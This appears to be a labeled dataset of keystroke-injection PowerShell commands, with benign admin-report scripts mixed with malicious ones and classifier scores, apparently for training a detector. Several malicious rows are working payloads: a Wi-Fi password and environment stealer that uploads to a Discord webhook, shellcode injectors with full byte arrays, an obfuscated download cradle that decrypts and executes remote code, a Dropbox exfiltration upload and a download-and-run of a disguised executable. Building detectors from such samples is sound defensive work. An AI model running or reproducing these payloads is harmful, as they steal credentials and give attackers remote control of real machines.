"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_uxj6kqgj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386752e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_j556q82r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_25.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.460078e-05
"win+r enter powershell enter enter enter win r powershell enter $url=""YOUR DISCORD WEBHOOK"";dir env: >> stats.txt; Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;(netsh wlan show profiles) | Select-String ""\:(.+)$"" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=""$name"" key=clear)} | Select-String ""Key Content\W+\:(.+)$"" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;$Body=@{ content = ""$env:computername Stats from Ducky/Pico""};Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);curl.exe -F ""file1=@stats.txt"" $url ; Remove-Item '.\stats.txt';exit enter enter enter",1,1,0.00011204771,0.99988794
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xce,0xd8, enter 0x98,0x16,0xda,0xc4,0xd9,0x74,0x24,0xf4,0x5e,0x33,0xc9,0xb1,0x47,0x31,0x56,0x13, enter 0x83,0xee,0xfc,0x03,0x56,0xc1,0x3a,0x6d,0xea,0x35,0x38,0x8e,0x13,0xc5,0x5d,0x06, enter 0xf6,0xf4,0x5d,0x7c,0x72,0xa6,0x6d,0xf6,0xd6,0x4a,0x05,0x5a,0xc3,0xd9,0x6b,0x73, enter 0xe4,0x6a,0xc1,0xa5,0xcb,0x6b,0x7a,0x95,0x4a,0xef,0x81,0xca,0xac,0xce,0x49,0x1f, enter 0xac,0x17,0xb7,0xd2, enter enter",1,1,5.405736e-05,0.999946
"win+r powershell enter $Wwd = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Wwd -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xc6,0xd9,0x74,0x24,0xf4,0x5a,0xbb,0xa1,0x50,0xc0,0xa1,0x31,0xc9,0xb1,0x47,0x31,0x5a,0x18,0x03,0x5a,0x18,0x83,0xc2,0xa5,0xb2,0x35,0x5d,0x4d,0xb0,0xb6,0x9e,0x8d,0xd5,0x3f,0x7b,0xbc,0xd5,0x24,0x0f,0xee,0xe5,0x2f,0x5d,0x02,0x8d,0x62,0x76,0x91,0xe3,0xaa,0x79,0x12,0x49,0x8d,0xb4,0xa3,0xe2,0xed,0xd7,0x27,0xf9,0x21,0x38,0x16,0x32,0x34,0x39,0x5f,0x2f,0xb5,0x6b,0x08,0x3b,0x68,0x9c,0x3d,0x71,0xb1,0x17,0x0d,0x97,0xb1,0xc4,0xc5,0x96,0x90,0x5a,0x5e,0xc1,0x32,0x5c,0xb3,0x79,0x7b,0x46,0xd0,0x44,0x35,0xfd,0x22,0x32,0xc4,0xd7,0x7b,0xbb,0x6b,0x16,0xb4,0x4e,0x75,0x5e,0x72,0xb1,0x00,0x96,0x81,0x4c,0x13,0x6d,0xf8,0x8a,0x96,0x76,0x5a,0x58,0x00,0x53,0x5b,0x8d,0xd7,0x10,0x57,0x7a,0x93,0x7f,0x7b,0x7d,0x70,0xf4,0x87,0xf6,0x77,0xdb,0x0e,0x4c,0x5c,0xff,0x4b,0x16,0xfd,0xa6,0x31,0xf9,0x02,0xb8,0x9a,0xa6,0xa6,0xb2,0x36,0xb2,0xda,0x98,0x5e,0x77,0xd7,0x22,0x9e,0x1f,0x60,0x50,0xac,0x80,0xda,0xfe,0x9c,0x49,0xc5,0xf9,0xe3,0x63,0xb1,0x96,0x1a,0x8c,0xc2,0xbf,0xd8,0xd8,0x92,0xd7,0xc9,0x60,0x79,0x28,0xf6,0xb4,0x14,0x2d,0x60,0x6d,0xeb,0xfb,0x24,0xf9,0xe9,0x03,0xd5,0xa5,0x64,0xe5,0x85,0x05,0x27,0xba,0x65,0xf6,0x87,0x6a,0x0d,0x1c,0x08,0x54,0x2d,0x1f,0xc2,0xfd,0xc7,0xf0,0xbb,0x56,0x7f,0x68,0xe6,0x2d,0x1e,0x75,0x3c,0x48,0x20,0xfd,0xb3,0xac,0xee,0xf6,0xbe,0xbe,0x86,0xf6,0xf4,0x9d,0x00,0x08,0x23,0x8b,0xac,0x9c,0xc8,0x1a,0xfb,0x08,0xd3,0x7b,0xcb,0x96,0x2c,0xae,0x40,0x1e,0xb9,0x11,0x3e,0x5f,0x2d,0x92,0xbe,0x09,0x27,0x92,0xd6,0xed,0x13,0xc1,0xc3,0xf1,0x89,0x75,0x58,0x64,0x32,0x2c,0x0d,0x2f,0x5a,0xd2,0x68,0x07,0xc5,0x2d,0x5f,0x99,0x39,0xf8,0x99,0xef,0x53,0x38;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$bwN=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($bwN.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$bwN,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2042808e-05,0.9999479
"win+r enter powershell enter enter enter $daQY = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $daQY -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x2f,0x96,0xf9,0x11,0xdb,0xdf,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x4e,0x31,0x7e,0x14,0x03,0x7e,0x14,0x83,0xc6,0x04,0xcd,0x63,0x05,0xf9,0x93,0x8c,0xf6,0xfa,0xf3,0x05,0x13,0xcb,0x33,0x71,0x57,0x7c,0x83,0xf1,0x35,0x71,0x68,0x57,0xae,0x02,0x1c,0x70,0xc1,0xa3,0xaa,0xa6,0xec,0x34,0x86,0x9b,0x6f,0xb7,0xd4,0xcf,0x4f,0x86,0x17,0x02,0x91,0xcf,0x45,0xef,0xc3,0x98,0x02,0x42,0xf4,0xad,0x5e,0x5f,0x7f,0xfd,0x4f,0xe7,0x9c,0xb6,0x6e,0xc6,0x32,0xcc,0x29,0xc8,0xb5,0x01,0x42,0x41,0xae,0x46,0x6e,0x1b,0x45,0xbc,0x05,0x9a,0x8f,0x8c,0xe6,0x31,0xee,0x20,0x15,0x4b,0x36,0x86,0xc5,0x3e,0x4e,0xf4,0x78,0x39,0x95,0x86,0xa6,0xcc,0x0e,0x20,0x2d,0x76,0xeb,0xd0,0xe2,0xe1,0x78,0xde,0x4f,0x65,0x26,0xc3,0x4e,0xaa,0x5c,0xff,0xdb,0x4d,0xb3,0x89,0x9f,0x69,0x17,0xd1,0x44,0x13,0x0e,0xbf,0x2b,0x2c,0x50,0x60,0x94,0x88,0x1a,0x8d,0xc1,0xa0,0x40,0xda,0x26,0x89,0x7a,0x1a,0x20,0x9a,0x09,0x28,0xef,0x30,0x86,0x00,0x78,0x9f,0x51,0x66,0x53,0x67,0xcd,0x99,0x5b,0x98,0xc7,0x5d,0x0f,0xc8,0x7f,0x77,0x2f,0x83,0x7f,0x78,0xfa,0x04,0xd0,0xd6,0x54,0xe5,0x80,0x96,0x04,0x8d,0xca,0x18,0x7b,0xad,0xf4,0xf2,0x14,0xc6,0x19,0xfd,0x1a,0x17,0x72,0x98,0x75,0x79,0xb9,0x50,0xba,0xb5,0x93,0xf0,0xd8,0xdb,0x98,0xd6,0x4e,0x41,0x2b,0x27,0xe6,0x20,0xfb,0x13,0x76,0xcd,0x29,0xd0,0x36,0x2e,0xb8,0xe2,0xe6,0x26,0x3e,0xed,0x17,0xeb,0xb7,0x0b,0x7d,0x03,0x9e,0x84,0xe9,0xba,0xbb,0x5f,0x88,0x43,0x16,0x1a,0x8a,0xc8,0x95,0xda,0x44,0x39,0xd3,0xc8,0x30,0xc9,0xae,0xb3,0x96,0xd6,0x04,0xd9,0x16,0x43,0xa3,0x48,0x41,0xfb,0xa9,0xad,0xa5,0xa4,0x52,0x98,0xbe,0x6d,0xc7,0x63,0xa8,0x91,0x07,0x64,0x28,0xc4,0x4d,0x64,0x40,0xb0,0x35,0x37,0x75,0xbf,0xe3,0x2b,0x26,0x2a,0x0c,0x1a,0x9b,0xfd,0x64,0xa0,0xc2,0xca,0x2a,0x5b,0x21,0xcb,0x17,0x8a,0x0f,0xb9,0x79,0x0e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$ahJ=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($ahJ.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$ahJ,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2217998e-05,0.9999478
"win+r powershell enter $Wc=New-OBJeCT SysTEm.NeT.WEBCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$Wc.HEaDerS.ADD('User-Agent',$u);$WC.PRoXY = [SyST enter EM.NeT.WebREQuEsT]::DEfaULTWebPRoxy;$wC.PROXy.CrEdENtiALS = [SYsTem.Net.CRedenti enter AlCache]::DEfaULtNetWoRkCredeNTiaLs;$K='zH:n`Uwqb^/1hK enter enter",1,1,5.5425622e-05,0.99994457
"win+r powershell enter function Add-LocalAdmin { param ( [string]$comp, [string]$sam, [string]$doma enter in = $env:USERDOMAIN ) if ($comp -match '^\s*$') { throw ""Comp not found '$c enter omp'"" } if ($sam -match '^\s*$') { enter enter",1,1,0.007578539,0.99242145
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_5etbbawx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter",0,0,0.999966,3.3967273e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_gmla9guq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4645618e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_tt1667zz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.363154e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_mebo7v0v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3993198e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xad,0xa1,0x8c,0xeb,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r enter powershell enter enter enter invoke-restmethod -uri ""https://content.dropboxapi.com/2/files/upload"" -method post -headers @{""authorization"" = ""bearer $((invoke-restmethod -uri ""https://api.dropboxapi.com/oauth2/token"" -method post -headers @{""content-type"" = ""application/x-www-form-urlencoded""} -body @{grant_type = ""refresh_token""; refresh_token = ""refresh_token""; client_id = ""app_key""; client_secret = ""app_secret""}).access_token)""; ""content-type"" = ""application/octet-stream""; ""dropbox-api-arg"" = '{ ""path"": ""/reports/' + $env:computername + '.txt"", ""mode"": ""add"", ""autorename"": true, ""mute"": false }'} -body $report | out-null enter enter enter",1,1,0.0055403933,0.9944596
"win+r enter powershell enter enter enter function Convert-RelatedLinkToHtml enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,ValueFromPipeline=$true)] enter enter $CommandHelp, enter enter [string] enter enter $ModuleName, enter enter [string[]] enter enter $Script enter ) enter enter begin enter { enter Set-StrictMode -Version 'Latest' enter enter } enter enter process enter { enter if( -not $ModuleName -and ($CommandHelp | Get-Member -Name 'ModuleName') -and $CommandHelp.ModuleName ) enter { enter $ModuleName = $CommandHelp.ModuleName enter } enter enter $aboutTopics = @() enter if( $ModuleName ) enter { enter $moduleBase = Get-Module -Name $ModuleName | Select-Object -ExpandProperty 'ModuleBase' enter if( (Test-Path -Path (Join-Path -Path $moduleBase -ChildPath 'en-US') -PathType Container) ) enter { enter $aboutTopics = $moduleBase | enter Get-ChildItem -Filter 'en-US\about_*' | enter Select-Object -ExpandProperty 'BaseName' | enter ForEach-Object { $_ -replace '\.help$','' } enter } enter else enter { enter $aboutTopics = @() enter } enter } enter enter Invoke-Command -ScriptBlock { enter if( $CommandHelp | Get-Member -Name 'RelatedLinks' ) enter { enter return $CommandHelp.RelatedLinks | enter Out-String -Width ([Int32]::MaxValue) | enter ForEach-Object { $_ -split ""`n"" } | enter ForEach-Object { $_.Trim() } | enter Where-Object { $_ } enter } enter enter if( $CommandHelp -is [string] ) enter { enter return $CommandHelp enter } enter } | enter ForEach-Object { enter if( $_ -match '^https?\:\/\/' ) enter { enter return '<a href=""{0}"">{0}</a>' -f $_ enter } enter enter if( $ModuleName -and (Get-Command -Name $_ -Module $ModuleName -ErrorAction Ignore) ) enter { enter $cmdName = $_ enter $alias = Get-Alias -Name $_ -ErrorAction Ignore | Where-Object { $_.ModuleName -eq $ModuleName } enter if( $alias ) enter { enter $cmdName = $alias.ReferencedCommand enter } enter return '<a href=""{0}.html"">{1}</a>' -f $cmdName,$_ enter } enter enter $cmd = Get-Command -Name $_ -ErrorAction Ignore enter if( $cmd -and $cmd.HelpUri ) enter { enter return '<a href=""{0}.html"">{1}</a>' -f $cmd.HelpUri,$_ enter } enter enter if( $aboutTopics -contains $_ -or $Script -contains $_ ) enter { enter return '<a href=""{0}.html"">{0}</a>' -f $_ enter } enter enter return $_ enter } enter } enter enter end enter { enter } enter } enter $zFB = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $zFB -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xb3,0x04,0x22,0x81,0x68,0x02,0x00,0x02,0x2c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$1P7X=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($1P7X.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$1P7X,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.211572e-05,0.9999479
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory, enter ValueFromPipeline, enter ValueFromPipelineByPropertyName)] enter [ValidateScript({Test-Connection -ComputerName $_ -Quiet -Count 1})] enter [string]$Computername, enter [ValidateScript({ Test-Connection -ComputerName $_ -Quiet -Count 1 })] enter [string]$SiteServer = 'CONFIGMANAGER' enter ) enter enter begin { enter $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop enter Set-StrictMode -Version Latest enter } enter enter process { enter try { enter enter if (!$env:SMS_ADMIN_UI_PATH -or !(Test-Path ""$($env:SMS_ADMIN_UI_PATH)\CmRcViewer.exe"")) { enter throw ""Unable to find the SCCM remote tools exe. Is the console installed?"" enter } else { enter $RemoteToolsFilePath = ""$($env:SMS_ADMIN_UI_PATH)\CmRcViewer.exe"" enter } enter enter & $RemoteToolsFilePath $Computername ""\\$SiteServer"" enter enter } catch { enter Write-Error $_.Exception.Message enter } enter } enter enter",0,0,0.9999169,8.3110215e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_wztog6gm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.408321e-05
"win+r powershell enter [SySteM.Net.SeRvicePOiNTMaNAger]::ExpEcT100CoNtiNuE = 0;$wC=NEw-ObjecT SYstem.Ne enter t.WebCLIent;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like G enter ecko';$Wc.HeadErS.AdD('User-Agent',$u);$WC.PRoxY = [SysTem.Net.WeBREqUesT]::DEfA enter ULTWeBPRoXy;$wc.PRoxy.CReDentiALs = [SYsTeM.Net.CreDENTialCAcHE]::DEFAulTNEtWORK enter CreDEnTIaLs;$K='0c88028bf3aa6a6a143ed846f2be1ea4';$I=0;[chAr[]]$B=([char[]]($Wc. enter DOWNLoaDSTrinG(""http://chgvaswks045.efgz.efg.corp:888/index.asp"")))|%{$_-BXor$K[ enter $i++%$k.Length]};IEX ($B-JoIn'') enter enter",1,1,5.6351684e-05,0.9999436
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_rm9mvzal"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3975437e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/dwnysn.exe',""$env:TEMP\Dropbox.exe"");Start-Process (""$env:TEMP\Dropbox.exe"") enter enter",1,1,5.786365e-05,0.9999422
